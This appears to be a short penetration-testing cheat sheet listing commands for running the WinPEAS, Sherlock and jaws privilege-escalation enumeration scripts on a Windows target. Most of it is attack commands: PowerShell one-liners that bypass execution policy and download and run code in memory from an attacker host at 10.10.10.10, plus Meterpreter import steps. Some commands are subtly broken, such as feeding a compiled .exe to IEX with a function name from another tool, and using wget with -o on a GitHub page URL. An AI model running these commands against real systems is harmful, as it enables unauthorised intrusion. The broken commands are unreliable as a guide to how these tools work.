Automated scripts

#WinPEAS

sudo git clone https://github.com/carlospolop/PEASS-ng.git

#grab the winpeas.exe binary and transfer to target

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/WinPEAS.exe');Invoke-AllChecks"

#Sherlock.ps1

wget https://github.com/rasta-mouse/Sherlock/blob/master/Sherlock.ps1 -o sherlock.ps1

#or:

git clone https://github.com/rasta-mouse/Sherlock.git
cd Sherlock
python3 -m http.server 8888

#Deploy:

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://10.10.10.10/Sherlock.ps1');Find-AllVulns"

#From within meterpreter session:

load powershell
powershell_import 'Sherlock.ps1'
powershell_execute "Find-allvulns"

#From within a powershell session

Set-ExecutionPolicy -ExecutionPolicy bypass -Scope CurrentUser
Import-module -Name C:\Users\redcliff\Downloads\Sherlock.ps1
Find-AllVulns

#jaws.ps1

Last updated